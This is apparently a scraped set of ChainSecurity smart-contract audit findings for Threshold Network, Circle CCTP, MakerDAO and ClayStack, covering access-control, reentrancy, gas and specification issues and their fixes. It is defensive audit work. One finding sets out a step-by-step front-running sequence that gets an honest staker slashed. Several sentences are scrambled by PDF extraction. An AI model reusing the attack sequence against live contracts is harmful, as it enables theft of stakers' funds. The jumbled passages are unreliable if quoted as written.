decisions that need to be taken before. Hence, the variables might be uninitialized and result in no penalties for misbehaving. for Risk accepted : These parameters need to be set by governance, Threshold Network believes that in the interim, zero penalty is an acceptable behavior. Threshold Network - Threshold Network - 10 DesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Unauthorized Top Ups -Severity Findings Compiler Version Not Fixed and Outdated Inefficient Struct Packing Inefficient processSlashing Loop Interface File Name Convention Misleading Variable count Specifications Mismatch 0 0 1 6 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.1 Unauthorized Top Ups", "body": " With the current design, anybody can call topUp on any operator (in Kepp, Nu and T). This could lead to KEEP or NU staked in legacy contract, that the owner may not want to be staked on the new staking contract, ending staked on the new contract. On Nu this might lead to trolling by calling topUpNu after a user send an unstakeNu transaction and blocking the Nu withdraw through: 1. X calls unstakeNu 2. Y calls topUpNu on X 3. X tries to withdraw from NU legacy staking contract, but it fails because there is still an amount of NU accounted in the new staking contract With Keep the issue is more severe as non-malicious behavior could be slashed with a sandwich attack like follows: 1. Someone wants to unstake keep and calls \"unstakeKeep\" 2. The user sends the tx for the Keep legacy contract to \"undelegate\" 3. This tx lands in the men pool and someone front runs it by calling \"topUpKeep\" 4. The undelegate is mined after the top up 5. The attacker calls the notify keep discrepancy function to slash Threshold Network - Threshold Network - 11 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedDesignMediumVersion1CodeCorrected \fCode corrected : A modifier has been added to all three top up functions to restrict the access only to owner and operator. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.2 Compiler Version Not Fixed and Outdated", "body": " The solidity compiler is not fixed in the Checkpoints.sol. The version, however, is defined in the hardhat.config.js to be 0.8.4. In the code the following pragma directives are used: pragma solidity ^0.8.0; Known bugs in version 0.8.4 are: https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1562 More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.8.9 which contains some bugfixes. Code corrected : Compiler version is now 0.8.9 and fixed all files. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.3 Inefficient Struct Packing", "body": " The variable order inside structs is not optimized by the compiler. Hence, tight variable packing needs to be done manually. The struct OperatorInfo could be packed differently, to save two storage slots. Code corrected : Struct has been optimized. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.4 Inefficient processSlashing Loop", "body": " State operations are expensive. Additionally, Threshold Network told that the processSlashing is gas critical. The function processSlashing reads and writes the state variable slashingQueueIndex multiple times. The loop even does operations in each iteration. Additionally, a sanity check for count parameter in processSlashing instead of a check at every iteration of the for loop could save gas. Code corrected : Threshold Network - Threshold Network - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fslashingQueueIndex is now updated only once after the for loop with an internal counter in memory. The stopping condition of the for loop has been optimized, maxIndex is now capped at max queue's length and an event is emitted with the effective number of slashes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.5 Interface File Name Convention", "body": " The file StakingProviders.sol is an interface definition. To be consistent with the naming, the file should be renamed with a leading I. Code corrected : Filename updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.6 Misleading Variable count", "body": " One of the stop conditions of the for loop in processSlashing allows the function to process one more intended. slashingQueueIndex <= maxIndex should be pending slash slashingQueueIndex < maxIndex if it should match the passed in count argument. One more unintended iteration also would cost the processor more gas than they may have wanted to spend in the first place. initially than Code corrected : Loop's stopping condition has been updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "6.7 Specifications Mismatch", "body": " Specs of processSlashing say that processor can get either 4% or 5% of the slashed amount, depending on the type of call the application did, but in practice processor always gets 5%, no matter the application called seize or slash. getStartTStakingTimestamp specs say that result is zero when operator has no stake or when they was topped-up, but top up functions do not update the staking timestamp Specification partially changed : For both mentioned issues the specifications were updated accordingly. Threshold Network - Threshold Network - 13 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChangedVersion3 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "7.1 Applications Share the Same Stake", "body": " Threshold Network informed that the same stake can be used in different applications. Sharing the same stake practically means that if one application slashes or seizes all stake, all other applications that shared the stake will have no stake left to seize or slash. Threshold Network - Threshold Network - 14 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/threshold-network/"}, {"title": "5.1 Floating Dependencies Versions", "body": " The versions of the contract libraries imported as git submodules by the foundry are not fixed. With new versions being pushed to the dependency repositories, the imported code can change (e.g., via forge update) and lead to unexpected behavior by the smart contracts of the project. The version of the foundry dependency can be specified as described here. Acknowledged: Circle acknowledged this issue and decided to keep the code unchanged due to the following reason: The dependencies in repository are pinned git submodules, which won't be changed without explicitly committing a new version to master, so no change is needed. We would like to highlight that the pinned version of OpenZeppelin dependency is 4.3.1 which includes a vulnerability in signature handling, however the reviewed code is not affected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "5.2 Gas Optimizations", "body": " Circle - Circle EVM Bridge - 13 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedCodePartiallyCorrectedCodePartiallyCorrectedAcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f1. The MessageTransmitter contract uses a mapping of boolean values to keep track of used nonces, which is inefficient, due to the Solidity compiler automatically padding bool values with zeroes when writing them to storage. It is more efficient to use a mapping of a type such as uint256 that takes up an entire storage slot as the bool values anyway cannot be packed in this case. 2. Functions sendMessage and sendMessageWithCaller declare a return variable _nonce but it remains unused as the variable _nonceReserved is returned in both cases. 3. Attestable contract has a constant value of 65 assigned to immutable variable signatureLength. Changing its type to constant reduces slightly the gas consumption. 4. At the sending end, MessageTransmitter keeps track of available nonces for each destination domain. The contract could be made more efficient in terms of storage used if a single global nonce is used for all remote domains. 5. Function _recoverAttesterSignature computes a hash of _message and then calls recover from ECDSA library to get the address of the signer. This function is only called inside the for-loop redundant computation of the hash for the same message. function _verifyAttestationSignatures, therefore causing in 6. The function disableAttester performs two calls to getNumEnabledAttesters which performs an SLOAD operation. Although the second SLOAD costs less (100 gas) due to storage being warm at that point, the function could be optimized by storing the value in memory. 7. Similarly, the function addLocalTokenMessenger performs an unnecessary SLOAD when emitting the event. 8. The location of the following arguments can be changed from memory to calldata to make them and MessageTransmitter.sendMessage; messageBody more newMessageBody in MessageTransmitter.replaceMessage. gas-efficient: in 9. The function encodeHex in the library TypedMemView always checks if the iterator is not on the 16th byte: for (uint8 i = 31; i > 15; i -= 1) { uint8 _byte = uint8(_b >> (i * 8)); first |= byteHex(_byte); if (i != 16) { first <<= 16; } } As an improvement, the loop can iterate in the range i > 16 so the if statement inside the loop can be removed. The same optimization is possible for the next loop which iterates over the lower 16 bytes. By doing so, gas consumption would be decreased. Acknowledged: Circle has applied most of the optimizations listed above. More specifically, optimizations 1-6 and 8 were implemented in the updated codebase. Optimizations 7 and 9 were acknowledged but not addressed in code. We detail the fixes: 1. usedNonces is changed to be a mapping of bytes32 to uint256. 2. Circle has corrected both sendMessage and sendMessageWithCaller. 3. signatureLength is changed to be a constant. 4. MessageTransmitter keeps track of the next available nonce via keeping a scalar variable, namely nextAvailableNonce. Circle - Circle EVM Bridge - 14 \f5. In _verifyAttestationSignatures the digest of the message is firstly calculated and sent down to each call of _recoverAttesterSignature. 6. disableAttester fetches length of the enabledAttesters and stores it in a memory variable, instead of accessing the storage twice. 7. Circle has acknowledged this optimization but has decided to keep the code unchanged as the function addLocalTokenMessenger is not expected to be called often. 8. messageBody originalMessage MessageTransmitter.sendMessage, newMessageBody in MessageTransmitter.replaceMessage are changed to calldata. in and 9. Circle has decided to keep the TypedMemView library as-is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "5.3 Inconsistent Natspec Descriptions", "body": " The natspec description of the following functions is not consistent with the implementation: 1. _sendMessage: @dev Increment nonce, ... is not aligned with the implementation. 2. _getLocalToken: @dev Reverts if unable to find an enabled local token..., but the implementation does not revert. 3. onlyWithinBurnLimit: ... burn limit per-transaction for given 'burnToken'. The modifier only checks that the limit is not exceeded in a single function call, however, if multiple calls are executed within a transaction, the limit per-transaction is not enforced. 4. BurnMessage library: version field is declared as 4 bytes, but the type is set to uint8 instead of uint32. 5. To fetch the 12 bytes containing loc, a variable of TypedMemView should be shifted 120 bits (3 empty + 12 len = 15 bytes) to the right and be masked. The comment inside the assembly block has wrongly stated 12 bytes of the loc instead of len. Code partially corrected: The reported inconsistencies 1-4 have been fixed in the updated codebase, while the last one remains unchanged. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "5.4 Missing Sanity Checks", "body": " The following functions set important state variables or parameters, but do not perform any sanity check on input parameters: 1. MessageTransmitter.constructor. 2. TokenMessenger.constructor. 3. MessageTransmitter.setMaxMessageBodySize. 4. newMintRecipient in TokenMessenger.replaceDepositForBurn. Code partially corrected: Circle - Circle EVM Bridge - 15 CorrectnessLowVersion1CodePartiallyCorrectedDesignLowVersion1CodePartiallyCorrected \fchecks Sanity and in TokenMessenger.replaceDepositForBurn listed above, however no sanity checks were added for points 1 and 3. TokenMessenger.constructor added were ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "5.5 Potential Event Reordering Due to Reentrancy", "body": " in MessageTransmitter The function sendMessage does not have any access restriction, and the caller can pass any arbitrary value for recipient. On the other side of the bridge, the function receiveMessage gives execution to recipient and emits an event afterward. Therefore, a malicious recipient could reenter the contract causing events to be emitted in an inconsistent order: require( IMessageHandler(_m._recipientAddress()).handleReceiveMessage( _sourceDomain, _sender, _messageBody ), \"handleReceiveMessage() failed\" ); // Emit MessageReceived event emit MessageReceived( msg.sender, _sourceDomain, _nonce, _sender, _messageBody ); Acknowledged: Circle acknowledged the issue but has decided to keep the code unchanged. Circle - Circle EVM Bridge - 16 SecurityLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Default Optimizer Configuration Inconsistent Type Used for Nonce Missing Event in Ownable 0 0 0 6 Unchecked Return Value for Functions From TypedMemView Unrelevant Indexed Event Fields Wrong Values Emitted in Event ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.1 Default Optimizer Configuration", "body": " The compiler optimizer is not enabled explicitly by the foundry configuration, hence the default optimizer enabled by the foundry with 200 runs is used: [profile.default] src = 'src' out = 'out' libs = ['lib'] The optimizer uses the specified number of runs to perform a trade-off between deployment cost (bytecode size) versus execution costs. A high number of runs indicates to the optimizer that the reduction of execution costs has a higher priority than deployment costs. The configuration file foundry.toml has been updated to enable the optimizer with 10_000 runs. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.2 Inconsistent Type Used for Nonce", "body": " The contract MessageTransmitter uses type uint64 for storing nonces, however, the internal function _hashSourceAndNonce uses uint256 for the argument _nonce. Circle - Circle EVM Bridge - 17 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f Type of _nonce in _hashSourceAndNonce is changed to uint64 and is consistent throughout the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.3 Missing Event in Ownable", "body": " The constructor of Ownable sets the deployer of the contract as owner, however, the respective event is not emitted. The constructor of Ownable now calls the internal function _transferOwnership which sets the new _owner and emits the respective event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.4 Unchecked Return Value for Functions From", "body": " TypedMemView The functions ref and slice of the library TypedMemView return a memory view of type bytes29. However, both functions can return NULL which represents an invalid type (ff_ffff_ffff) if the memory is malformed. The calling functions in MessageTransmitter, TokenMessenger and Message do not check for the invalid type. libraries functions The _validateMessageFormat and _validateBurnMessageFormat. These functions are now used to validate the return values from functions ref and slice from the library TypedMemView. extended with BurnMessage Message been have and ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.5 Unrelevant Indexed Event Fields", "body": " Only relevant fields of the events should be indexed, the ones which it makes sense to search for. The following events index also uint values: 1. amount in TokenMessenger.DepositForBurn 2. amount in TokenMessenger.MintAndWithdraw 3. oldSignatureThreshold and newSignatureThreshold in Attestable.SignatureThresholdUpdated 4. burnLimitPerTransaction in TokenController.SetBurnLimitPerTransaction 5. newMaxMessageBodySize in MessageTransmitter.MaxMessageBodySizeUpdated Circle - Circle EVM Bridge - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fOn the other hand, the event OwnershipTransferred does not index its argument. EVM opcodes for logging events with more indexed arguments consume more gas. We suggest for each event field reevaluate if indexing is necessary. All events listed above were revised such that uint arguments are no longer indexed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.6 Wrong Values Emitted in Event", "body": " Function updateAttesterManager uses the same variable newAttesterManager in the emitted event. The natspec of the event specifies that the first parameter is the address of the previous attester manager, while the second parameter is the new attester manager. Code partially corrected: to pass msg.sender and The function updateAttesterManager has been revised in newAttesterManager as parameters to the event AttesterManagerUpdated. However, the first parameter msg.sender is the owner of the contract, and not necessarily the previous manager as described in the event definition. In attesterManager role: , the following code is used to emit the previous and new addresses for the address _oldAttesterManager = _attesterManager; _setAttesterManager(newAttesterManager); emit AttesterManagerUpdated(_oldAttesterManager, newAttesterManager); Circle - Circle EVM Bridge - 19 CorrectnessLowVersion1CodeCorrectedVersion2Version3 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.1 Compiler Version Not Fixed and Outdated", "body": " The solidity compiler is fixed only in contracts Ownable, Pausable and Rescuable, while other contracts use the following pragma directive: pragma solidity ^0.7.6; Although no later compiler version 0.7.x exist, it is a best practice to fix the compiler version in contracts or configuration file. Known bugs in version 0.7.6 are listed here. More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.8.17 which contains some bugfixes. However, version 0.8 introduced breaking changes and would require heavy refactoring of the contracts. changes: All contracts now use the following pragma directive: pragma solidity 0.7.6; ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.2 Non-canonical Conversion of Bytes to", "body": " Address The function Message.bytes32ToAddress implements the following statement to perform the type conversion: function bytes32ToAddress(bytes32 _buf) public pure returns (address) { return address(uint160(uint256(_buf))); } Note that due to downcasting, higher bits of _buf will be omitted. Thus, it is possible to have different input values _buf map to the same address. changes: Circle has decided to emphasize this behavior in the code by appending the following description to the function's natspec: * @dev Warning: it is possible to have different input values _buf map to the same address. * For use cases where this is not acceptable, validate that the first 12 bytes of _buf are zero-padding. Circle - Circle EVM Bridge - 20 NoteVersion1Version2NoteVersion1Version2 \f7.3 Overflow and Underflow Occurring in TypedMemView The function TypedMemView.index takes as the third argument the length of the returned value in bytes _bytes, which is of type uint8. The length in bits is computed as follows: uint8 bitLength = _bytes * 8; If _bytes is 32, the multiplication above overflows as the result 256 cannot be stored in a variable of type uint8, hence bitLength stores 0. Furthermore, when bitLength is passed to function leftMask an underflow occurs in the following assembly code: assembly { mask := sar( sub(_len, 1), ... ) } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.4 Potential Single Points of Failure", "body": " Circle EVM Bridge relies on a centralized attestation service (attesters) to guarantee the integrity of messages transmitted between chains. The protocol assumes that an adversary cannot compromise enough attesters (signatureThreshold) at the same time, otherwise, the bridge becomes vulnerable. Besides the assumption above, we would like to highlight below the accounts that are potential single points of failure for the security of the bridge. Message Transmitter: Any account with role owner or attesterManager should be carefully protected. If any account with these roles gets compromised, it can freely enable new attesters and execute arbitrary cross-chain messages. Furthermore, the role pauser is critical to be protected in order to keep the bridge operational and avoid denial-of-service (DoS) attacks. Token Messenger: The account with the role owner should be carefully protected, as if this account gets compromised, it can set arbitrary addresses as token messengers in remote domains and then process malicious messages. Token Minter: The accounts with roles owner and tokenController should be carefully protected. If any of these accounts get compromised, the mapping remoteTokensToLocalTokens can be manipulated, which can consequently create severe issues, e.g., an attacker can burn low value tokens in one chain but mint the same amount in high value tokens in the other chain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.5 Return Value of Burn Function", "body": " The system supports tokens that implement the IMintBurnToken, i.e., functions transfer, transferFrom and mint return a boolean value. However, burn function is assumed to not return a Circle - Circle EVM Bridge - 21 NoteVersion1NoteVersion1NoteVersion1 \fvalue but revert if unsuccessful. This behavior is in line with the implementations of USDC and ERC20Burnable from OpenZeppelin. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.6 Signature Threshold Restrictions", "body": " The documentation states that the threshold for the required signatures should not be below 2, however, this is not enforced by the codebase. On deployment, the constructor of Attestable contract takes only one attester address as an argument and sets signatureThreshold = 1. Furthermore, the function setSignatureThreshold does not enforce that the threshold is set to at least 2. Circle is aware of this behavior and does not intend to enforce the minimum threshold in code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.7 Visibility Modifiers for Constructors", "body": " Contracts Attestable and Ownable declare the visibility of constructors as public, however, such visibilities in compiler version 0.7.6 are obsolete. More information. changes: The visibility for constructors has been removed in the updated codebase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "7.8 Attestable._recoverAttesterSignature", "body": " Function Visibility Can Be Pure The modifier of the function _recoverAttesterSignature can be changed to pure, as it neither writes nor reads the storage of the contract. changes: The visibility of the function above has been changed to pure. Circle - Circle EVM Bridge - 22 NoteVersion1NoteVersion1Version2NoteVersion1Version2 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/circle-cross-chain-transfer-protocol-cctp/"}, {"title": "6.1 Impossibility to Create One-Side Token1", "body": " Liquidity The DeposiorUniV3 funnel has a uniswapV3MintCallback() function for properly integrating with Uniswap V3 and move the funds. However, it only moves funds if the owed amount in token0 is greater than 0. Hence, if the current tick is outside of the position's tick range so that it leads to one-sided liquidity in token1, no funds will be transferrable. Ultimately, one-sided token1 liquidity cannot be added. Thus, deposits could be temporarily DOSed. CS-MKALLOC-002 amt1Owed is now used for transfers of token1. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "6.2 Incorrect Uniswap V3 Path Interpretation", "body": " The swapper callback contract for UniswapV3 interprets the last tokens as follows: lastToken := div(mload(sub(add(add(path, 0x20), mload(path)), 0x14)), 0x1000000000000000000000000) CS-MKALLOC-003 Namely, it loads the last 20 bytes as the last token. However, the path may have some additional unused data so that the last token does not have any effect on the execution. Consider the following example: 1. The path is encoded as [srcToken fee randomToken dstToken]. 2. The swapper will interpret dstToken as the last token. 3. However, in UniswapV3, randomToken will be received. Maker - DSS Allocator - 12 CriticalHighMediumLowCodeCorrectedCodeCorrectedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f4. In case no slippage requirements for the amount out are present, randomToken will be received successfully and will be stuck in the swapper contract. Ultimately, the path is wrongly interpreted which could, given some configurations, lead to tokens lost unnecessarily due to bad input values. The check towards the correctness of path encoding has been removed, as it provides a false sense of security. Ultimately, the swap is protected by the minimum output token amount requirement. Maker states: These checks were only meant to provide more explicit revert reasons for a subset of (common) path misconfigurations and were not meant to catch all possible incorrect path arrays. Ultimately the \"\"Swapper/too-few-dst-received\"\" check is the only one that matters. But since that seems to cause confusion, we just removed the checks. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "6.3 Gas Inefficiencies", "body": " Below is a non-exhaustive list of gas inefficiencies: 1. In AllocatorVault.wipe(), the call vat.frob() takes address(this) as an argument for the gem balance manipulation. However, due to the gem balance not being interacted with, using address(0) may improve gas consumption minimally. 2. In the withdrawal and deposit functions of the UniV3Depositor, an unnecessary MSTORE operation is performed when caching era into memory. Using only the SLOAD could be sufficient. CS-MKALLOC-004 Code has been corrected to optimize the gas efficiency. Maker - DSS Allocator - 13 InformationalVersion1CodeCorrected \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "7.1 Lack of Sanity Checks", "body": " The code often lacks sanity checks for setting certain variables. The following is a non-exhaustive list: 1. On deployment, the conduit mover does not validate whether the ilk and the buffer match against CS-MKALLOC-001 the registry. 2. Similarly, that is the case for the allocator vault. Maker states: The sanity checks are done as part of the init functions (to be called in the relevant spell). Maker - DSS Allocator - 14 InformationalVersion1Acknowledged \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "8.1 1T NST Minting", "body": " The documentation specifies that a maximum of 1T NST should be placed and that at most 1T NST should be mintable. However, that may not be the case if the spotter has mat and par set to unsuitable values. Technically, Vat.rate could be decreasing (depending on the jug). Hence, with a decreasing rate, more than 1T NST could be minted. Additionally, governance is expected to provide the allocator vault with a gem balance through Vat.slip(). Calling this multiple times would allow to re-initialize the allocator vault multiple times to create more ink than intended (and, hence, allowing for more debt than expected). Ultimately, governance should be careful when choosing properties. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "8.2 Deposit and Withdraw Share the Same", "body": " Capacity The governance can set a PairLimit in DepositorUniV3, which limits the maximum amount of a pair of tokens that can be added or removed from the pool per era. Instead of setting two capacity parameters for adding liquidity and removing liquidity respectively, both actions share the same capacity. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "8.3 Potentially Outdated Debt Estimation", "body": " In contract AllocatorVault, debt() returns an estimation of the debt that is on the Vault's urn. This estimation could be outdated if the vat's rate has not been updated by the jug.drip() in the same block. The getter debt() has been removed (along with line() and slot()). Maker states that they are not strictly needed and can be implemented in another contract as well. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "8.4 Shutdown Not Considered", "body": " The shutdown was not in scope and users should be aware that consequences of a potential shutdown have not been investigated as part of this audit. Maker - DSS Allocator - 15 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f8.5 Topology May Break the Intended Rate Limit The keepers' ability to move funds between conduits/buffer and swapping tokens is limited by the triplets (from, to, gem) and (src, dst, amt) respectively. However, the actual funds flow between from and to (src and dst) could exceed the config dependent on the topology of the settings. Assume there is a config that limits moving NST between conduits CA and CB to 100 per hop: (CA, CB, 100). If there are another two configs (CA, CX, 40) and (CX, CB, 60) exist, then keepers can move at most 100 + 40 = 140 DAI from CA to CB per hop. The same situation applies to Swapper. Therefore, the topology of the configs should be carefully inspected. Maker states: The rate limit for each swap/move pair is an authed configuration of the allocator proxy. It is therefore assumed to know what it is doing and is allowed to set any configuration regardless of paths or duplication. Maker - DSS Allocator - 16 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-allocator/"}, {"title": "6.1 No Message Relayed on claim", "body": " transmitted Anytime csToken.totalSupply() or funds.currentDeposit are changed, the updated values function does not call should be sendMessageToChild. The claim function has the enforceAndUpdateBalance modifier, which in turn calls _updateBalance. This function may modify funds.currentDeposit, and hence a message should be relayed to the child contract. the child contract. However, the claim to Note that the claim function is the only function with the enforceAndUpdateBalance modifier which does not call sendMessageToChild. Since the modifier itself can modify funds.currentDeposit, it may make sense to include the call to sendMessageToChild in the modifier itself. ClayStack - ClayStack Matic - 11 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion3CodeCorrected \f A message is now relayed at the end of the claim function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.2 Decoding Inefficiencies", "body": " The ClayTunnel contract puts any message it receives directly in storage. When the stored amounts are retrieved, they have to be decoded each time. This duplicates effort, as well as incurring additional storage operations due to the use of the generic bytes type. A stored bytes array that contains 64 bytes uses up 3 storage slots, one for the length and then two more for the contained values. Instead, it would be more efficient to decode the message when receiving it, then putting the decoded values in storage. Additionally, in _processMessageFromRoot, it is possible to change the type of the data parameter from bytes memory from processMessageFromRoot, where the argument passed is also a bytes calldata. This saves the effort of copying the bytes from calldata to memory. to bytes calldata, as is only ever called function the The relayed variables are now decoded when the bridged message is received, and the decoded variables then persisted in storage. The data parameter was changed from bytes memory to bytes calldata. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.3 Redundant Function", "body": " The sendMessageToRoot function is redundant, as the root ClayMain contract cannot receive messages. The _sendMessageToRoot function in the FxBaseChildTunnel abstract contract is similarly redundant. The MessageSent event in FxBaseChildTunnel is only used in the above functions, hence it could be removed. The redundant functions and event were removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.4 Redundant Storage Variables", "body": " The latestStateId and latestRootMessageSender storage variables in the ClayTunnel contract are not necessary for operation. Additionally, the latestRootMessageSender variable will only ever be set to the address of the ClayMain contract. Removing these redundant variables would reduce the execution cost of _processMessageFromRoot significantly. ClayStack - ClayStack Matic - 12 DesignLowVersion3CodeCorrectedDesignLowVersion3CodeCorrectedDesignLowVersion3CodeCorrected \f The latestRootMessageSender variable was removed. latestStateId is now used to enforce strictly increasing state IDs of relayed messages, meaning a reordering of messages due to validators cannot result in the child contract being set to an older state. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.5 Variables Could Be Immutable", "body": " The storage variable fxChild in FxBaseChildTunnel could be immutable, as it is only ever set in the constructor. This would reduce the number of storage operations made when processing bridged messages. Similarly, the storage variable fxRootTunnel can only be set once, in the setFxRootTunnel function. As this variable should be known at deployment, and it must be set in order to make the contract operational, it could also be made immutable and set in the constructor. The fxChild and fxRootTunnel variables were made immutable and are both set in the constructor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.6 Incorrect Permissions", "body": " The setDefaultLiquidity function has a doc comment which states it should only be callable with the TIMELOCK_ROLE. However, the implementation checks if the caller has the CS_SERVICE_ROLE. /** * ... * @notice Only `TIMELOCK_ROLE` callable. * ... */ function setDefaultLiquidity(uint256 value) external onlyRole(CS_SERVICE_ROLE) { require(value < PERCENTAGE_BASE, \"CMO06\"); defaultLiquidity = value; } Specification Changed: The doc comment was changed to specify the function to be only callable with the CS_SERVICE_ROLE. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.7 Inefficient Modifier", "body": " ClayStack - ClayStack Matic - 13 DesignLowVersion3CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \fThe CsToken contract makes use of the onlyClayMain modifier, which needs to know what the address of the ClayMatic contract is. Instead of implementing a storage value that can only be set once, an immutable variable could be used. This would also be far more gas-efficient, since immutable variables do not incur storage reads. The 